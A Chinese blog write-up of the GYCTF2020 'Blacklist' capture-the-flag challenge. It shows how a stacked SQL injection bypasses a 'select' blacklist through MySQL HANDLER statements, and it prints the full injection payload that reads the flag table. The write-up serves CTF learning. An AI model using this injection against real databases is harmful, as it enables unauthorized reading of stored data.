[GYCTF2020]Blacklist

最新推荐文章于 2025-06-04 15:49:38 发布

hercu1iz

最新推荐文章于 2025-06-04 15:49:38 发布

阅读量123

点赞数

分类专栏： web 文章标签：数据库 mysql sql

cctrl

本文链接：https://blog.youkuaiyun.com/weixin_44309300/article/details/129968265

版权

web 专栏收录该内容

6 篇文章

订阅专栏

文章讲述了如何在遇到SQL注入问题，且select语句被黑名单限制时，利用MySQL的HANDLER语法进行数据读取，从而获取flag信息的过程。首先，通过测试发现过滤关键字show无效，接着通过堆叠注入获取库名和表信息。由于select受限，作者研究并使用HANDLER的open,readfirst,readnext,close等命令来遍历和读取数据，成功访问到flag内容。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1，访问界面
在这里插入图片描述思路：sqli
题目提示：黑名单
2，利用Burp测试过滤关键字
没有限制关键字show,通过堆叠注入查看库名
3，查看表
4，查看表的结构
发现flag列，推测其应为flag,尝试获取内容，但是因为select被限制，查了一些资料了解HANDLER语法可以绕过select限制
5，查看flag

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

在这里插入图片描述

handler句柄使用知识点

打开句柄
mysql> handler table_name open;
read first查看数据
mysql> handler table_name  read first;
read next读取下一条数据
mysql> handler table_name  read next;
关闭句柄
mysql> handler table_name close;